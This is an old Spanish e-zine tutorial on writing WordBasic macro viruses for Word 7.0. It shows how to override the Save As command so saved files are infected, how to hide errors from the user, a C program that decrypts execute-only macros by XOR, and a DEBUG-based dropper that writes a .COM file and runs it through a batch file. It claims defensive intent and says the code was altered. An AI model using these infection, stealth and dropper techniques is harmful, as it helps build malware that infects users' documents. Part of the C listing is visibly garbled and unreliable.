Este articulo fue publicado originalmente en el número #2 de NetSearch Ezine, una revista electrónica sobre seguridad informática, en 1999.
Todo lo expuesto aquí no funciona deliberadamente (el código está alterado para que no pueda ser ejecutado), y solo funcionaba en Word 7.0. Lo escribí para demostrar una vulnerabilidad en dicho software y así saber como protegernos del mismo.
Sintaxis de WB
Bueno, para los que no esten familiarizados con este tipo de sintaxis… un tirón de orejas. Que repasen sus conceptos de programación. Pero vamos a hacer un breve resumen para poder entender lo que estamos viendo.
Instrucción condicional
If … Then … Else
Ejecuta instrucciones de forma condicional.
Por ejemplo:
DefinirI() // Rutina ejemplo que genere un valor aleatorio para i
If i = 1 Then // Si "i" es igual a 1 muestra el siguiente mensaje
MsgBox "El valor de i es 1", 0
Elsif i = 2 Then // En cambio, si "i" es igual a 2 muestra este otro
MsgBox "El valor de i es 2" , 0
Else // "Si no" ocurre ninguna de las dos condiciones anteriores (ni 1
// ni 2) este otro mensage
MsgBox "El valor de i no es ni 1 ni 2" , 0
End If
Instruccion repetitiva
For … Next
Ejemplo:
For i = 1 To 10 // Desde i = 1 hasta 10
Beep // Pitido
Next i
Este código emitiria 10 pitidos (uno por cada valor de i )
# Instrucción condicional #
While … Wend
Ejemplo:
i = 1
While i <> 10 // Mientras i sea distinto de 10
Beep
i = i+1
Wend
Este código emitiria 9 pitidos, que son los valores que va tomando “i” hasta llegar a 10.
Instruccion “ir a”
Goto etiqueta
Esta es la típica instruccioón de los antiguos lenguajes de programación, que todavía puede encontrarse en algunos de los actuales, pero que no es muy recomendable, puesto que es muy poco eficiente. Es mas aconsejable usar siempre las estructuras anteriores.
Sub MAIN
MsgBox "La siguiente instruccion goto saltara a la etiqueta :fin,
ignorando el resto" , 0
Goto fin
MsgBox "Por aqui no pasa" , 0
:fin
End sub
Una vez repasados estos conceptos, proseguimos con el viriing.
Los Comandos de Word: Macros ArchivoGuardar, ArchivoGuardarComo ArchivoAbrir…
Todos sabemos que cuando pulsamos con el mouse sobre la barra de herramientas, aparece un menu desplegable con varias opciones. Por ejemplo, en Archivo, podemos encontrar el tipico Nuevo, Guardar, Guardar Como…, etc
Todas estas operaciones son los comandos del Word, y no son en realidad mas que simples Macros de solo ejecución.
Pero, ¿qué pasaría si creasemos en la plantilla Global una Macro con el nombre, por ejemplo, ArchivoGuardarComo?
Pues bien, se crearía automáticamente una macro que llama al cuadro de dialogo que aparece cuando pulsamos sobre esa opción.
Sería así:
Sub MAIN
Dim dlg AsArchivoGuardarCom // Define dlg como cuadro de dialogo ArchivoGuardarComo
GetCurValues dlg // Coje los valores del cuadro de dialogo
Dialog dlg // Muestra el cuadro en pantalla
ArchivoGuardarComo dlg // Guarda el archivo segun los parametros obtenidos del cuadro
End Sub
Nota: Fijarse que en la primera línea aparece AsArchivoGuardarComo todo junto, cuando debería ser As ArchivoGuardarComo. Si lo dejamos como está, nos dará un error.
Bien, esto lo que haria no sería más que definir dlg como cuadro de dialogo de Guardar Como, coger los valores de ese dialogo y mostrarlo en pantalla; lo que viene haciendo Archivo / Guardar Como. Hasta ahí todo normal, pero, que pasaría si colocamos algunas lineas mas en esa Macro, a nuestro antojo?
Mira este otro código:
Sub MAIN
Dim dlg As ArchivoGuardarComo
GetCurValues dlg
Dialog dlg
ArchivoGuardarComo dlg
ArchivoGuardarComo .Formato = 1
// Guarda el archivo con el formato de una plantilla
// ( Nota: Esto es solo un ejemplo. Si hiciesemos algo así, cualquier archivo se guardaria con
// este formato, incluso si fuese de solo texto)
Infectar() // Llama a la rutina infectar
ArchivoGuardar // Guarda de nuevo lo cambios
End Sub
A partir de ahora (siempre y cuando la Macro se llame ArchivoGuardarComo y este en la plantilla global), cada vez que pulsasemos sobre Archivo / Guardar Como…, a los ojos del usuario todo sería normal, pero el archivo guardado tambien sería infectado.
Lo mismo se puede hacer con ArchivoGuardar, ArchivoAbrir …
Nota: Los comandos de Word los puedes ver en el menu de Macros, pero son solo ejecutables, por lo que solo podrás leer el nombre, no su código.
Evitando Errores
WB es un lenguaje interpretado, y como tal, los errores surgiran “in situ”, a medida que se producen. Pero afortunadamente, los errores pueden ser interceptados.
Con la instrucción:
On Error Resume Next
Conseguiremos que los errores internos a WB ( no los errores que se produzcan en el propio Word) no muestren en pantalla el mensage de error, y el código seguira ejecutandose en la siguiente instrucción. Esto es muy útil para evitar que el virus sea detectado por el usuario en caso de error.
On Error Goto etiqueta
Tendría el mismo efecto, con la diferencia de que esta vez no continua la ejecución en la siguiente instrucción, sino que salta a la etiqueta del mismo modo que un Goto (que es lo que realmente es).
Para desactivar la deteccion de errores solo hay que utilizar la siguiente instrucción:
On Error Goto 0
Todos los errores de Word tienen un numero de identificacion. Si queremos conseguir ese numero, lo haremos con la variable especial Err, cuyo valor es el ultimo error producido.
Técnicas avanzadas
Ahora comentare algunas técnicas avanzadas, solo como guía, y para “activar” tu imaginación
Macros solo-ejecutables
Lo típico que se hace para encriptar una macro es hacerla solo-ejecutable.
Esto no es más que un simple XOR, por lo que podemos desencriptarlas y ver su código. Si leemos el fichero, debemos buscar el verdadero nombre del fichero en el. Unos cuantos bytes despues de el encontraremos una “U”. Pues bien, el byte siguiente a esa “U” es la clave XOR que debemos usar para desencriptarlo
Por supuesto, habra tantas “U” como macros tenga el documento., y una clave XOR para cada una. Depues no hay más que encontrar el comienzo de las macros, que normalmente está en la direccion B89h o en 1509h. Simpre hay la secuencia A5h, C6h , 41h, un byte y el valor XOR. Los problemas pueden comenzar si el documento tiene macros normales y macros solo-ejecutables.
Prueba a borrar algunas macros, y despues desencriptar.
Adjunto un programa en C que podría ser util.
/*********
(c) AURODREPH Productions 04/1996
**********/
#include "io.h"
#include "stdlib.h"
#include "stdio.h"
#include "conio.h"
#include "process.h"
#include "fcntl.h"
#include "string.h"
#include "sys\stat.h"
void main (void) {
char Name[13];
char Target[13];
unsigned char *Buffer;
int Handler, Handler1;
unsigned int Offset;
unsigned long Length = 0;
int point, max, trouve, cledec, debmac, decfin;
int stop,nbr,positcle,nbrmac,i;
clrscr();
printf (" ******************************************************************\n");
printf (" * *\n");
printf (" * DECRYPT WORD 6.0 MACROS saved *\n");
printf (" * with the option Execute-only *\n");
printf (" * *\n");
printf (" * *\n");
printf (" * --- ,This file works only with files < 32 Ko. ---- *\n");
printf (" * <*****}===============- *\n");
printf (" * (z) ' AURODREPH Productions 04/1996 *\n");
printf (" * ver 0.666B *\n");
printf (" ******************************************************************\n");
printf ("\n");
printf("\n");
printf ("Name of the input file = ");
scanf ("%12s",Name);
printf ("\n");
printf ("Name of the output file = ");
scanf ("%12s",Target);
printf("\n");
printf ("Number of crypted macros = ");
scanf ("%d",&nbrmac);
printf("\n");
if (nbrmac > 50 ) {
exit (0);
}
Handler = open (Name, O_BINARY | O_RDONLY , S_IREAD);
if (Handler == -1) {
printf ("The input file doesn't exist.\n");
exit(0);
}
Length = (unsigned long) lseek(Handler, 0, SEEK_END);
lseek (Handler,0,SEEK_SET);
Buffer = (unsigned char *) malloc((unsigned) Length);
if (Buffer == NULL) printf ("Fail memory allocation.\n");
if (read(Handler, Buffer, (unsigned) Length) != Length) {
printf ("The size of the file is > 32 ko)\n");
printf ("Try to remove some macros with WORD....\n");
exit (0);
}
point = 0;
max = strlen(Name);
trouve = 1;
cledec = 0x00;
debmac = 0x00;
stop = 0;
for (i=0; i= 0x61) & (Name[i] <= 0x7A)) {
Name[i] = Name[i] & 0xDF;}
};
for (Offset = 0x0000; Offset < Length; Offset++) {
if ((Buffer[Offset] == Name[point]) && (stop !=1)) {
for (point = 1; point <= (max-1); point++) {
if (Buffer [Offset+point] == Name[point]) {
trouve = trouve+1;
} else {
trouve = 1;
}
};
}
if (trouve == max) { stop = 1; }
if ((trouve == max) && (Buffer[Offset] == 0x55)) {
cledec = Buffer[Offset+1];
trouve = 0;
Buffer [Offset+1] = 0x00;
positcle = Offset;
}
point = 0;
};
if (cledec == 0x00) {
printf (" Don't find the decrypted key... \n"); exit (0);}
} else {
printf ("Decrypted Key for the macro n 1 = %x \n", cledec);
}
for (Offset = 0x0000; Offset < Length; Offset++) {
if (Buffer[Offset] == 0xA5) {
if ((Buffer [Offset+1] == 0xC6) || (Buffer [Offset+1] == 0xC4)) {
if (Buffer [Offset+2] == 0x41) {
if (Buffer [Offset+4] == cledec) {
debmac = Offset+3;
}
}
}
}
};
if (debmac == 0x00) {
for (Offset = 0x0000; Offset < Length; Offset++) {
if (Buffer[Offset] == cledec-1) {
if (Buffer [Offset+1] == cledec) {
debmac = Offset;
}
}
};
}
if (debmac == 0x00) {
printf (" Don't find the beginning of the macro\n");
exit(0);
}
for (nbr = 1 ; nbr <= nbrmac ;nbr++) {
if (nbr != 1) {
printf ("\n");
printf (" I decrypt the macro n %d \n", nbr);
Offset = positcle+24;
if (Buffer[Offset] == 0x55) {
cledec = Buffer [Offset+1];
Buffer [Offset+1] = 0x00;
positcle = Offset;
printf ("Decrypted Key for the macro n %d = %x \n", nbr,cledec);
} else {
printf (" Don't find the decrypted key ....\n");}
}
}
Offset = debmac;
point = 0;
decfin = 1;
stop = 1;
printf ( " I work ");
do {
if (stop == 400) {
printf (".");
stop = 1;
}
Buffer[Offset+point] ^= cledec ; /* decryptage par XOR */
if (Buffer [Offset+point] == 0x64) {
Buffer [Offset+point+1] ^= cledec;
if (Buffer [Offset+point+1] == 0x1a) {
Buffer [Offset+point+2] ^= cledec;
if (Buffer [Offset+point+2] == 0x1b) {
Buffer [Offset+point+3] ^= cledec;
if (Buffer [Offset+point+3] != 0x64) {
decfin = 0;
debmac = Offset+point+3;
Buffer [Offset+point+3] ^= cledec;
} else {
Buffer [Offset+point+3] ^= cledec;
}
} else {
Buffer [Offset+point+2] ^= cledec;
}
} else {
Buffer [Offset+point+1] ^= cledec;
}
if ((Offset+point) == Length) {
decfin = 0;
}
stop = stop + 1;
point = point + 1;
}
while ( ( decfin != 0) );
printf ("\n");
printf (" End of decrypting the macro n %d \n", nbr);
};
_fmode= O_BINARY;
Handler1 = creat(Target, S_IFMT | S_IREAD | S_IWRITE);
write (Handler1, Buffer,(unsigned) Length);
close (Handler1);
close (Handler);
printf ("\n"); printf ("\n");
printf (" END ... \n");
printf ("\n");
printf (" The decrypted file is %s .\n", Target);
}
Polimorfismo
Es posible hacer virus polimórficos en WordBasic. Una manera sencilla sería hacer que las macros tomaran nombres al azar en cada generación.
Uso de DEBUG
Ultimamente es muy corriente encontrarse especimenes que utilizan el debug del DOS para volcar pequeños ejecutables, plantillas, … en el disco duro para luego ser ejecutadas. Os muestro aqui una pequeña rutina para ilustrarlo:
Open "C:\programita.scr" For Output As #1
Print #1, "N BOOM.COM"
Print #1, "E 0100 E9 AF 13 9F 4D D1 0F D9 0A D7 0A B2 25 EB 67 C2"
Print #1, "E 0110 26 F6 20 F7 33 E6 67 BA 24 BB 67 A3 7E EB 7E 9F"
Print #1, "E 0120 4D 98 15 FD 32 E6 2E FC 22 B2 30 FB 2B FE 67 E0"
Print #1, "E 0130 22 E6 32 E0 29 B2 34 EB 34 E6 22 12 67 FB 29 F4"
Print #1, "E 0140 28 E0 2A F3 33 FB 34 FC 67 F4 28 E0 67 E1 33 F3"
Print #1, "E 0150 29 F6 26 B0 23 9F 4D B2 67 B2 67 B2 67 B2 67 DB"
Print #1, "E 0160 05 DF 67 C2 04 E1 67 F3 29 F6 67 F1 2B FD 29 F7"
Print #1, "E 0170 34 B2 35 E7 29 FC 2E DC 20 B2 0A C1 68 C2 04 B2"
// ...
print #1, "RCX"
print #1, "400"
Print #1, "W"
Print #1, "Q"
Close #1
Open "c:\boom.bat" For Output As #1
Print #1, "@echo off"
Print #1, "debug < programita.src > nul"
Print #1, "boom.com"
Close #1
Nota: Los valores Hexadecimales del ejemplo son inventados, asi que no intentes nada con ellos.
Miscelánea
Para terminar este pequeño curso, aquí podeis ver el WM6.iNCorDio V 1.0 , un virus sencillo y totalmente funcional creado por un servidor.
Por favor, no lo distribuyas. Simplemente lo incluyo como apoyo al documento para comprender mejor el concepto de virus de Macro.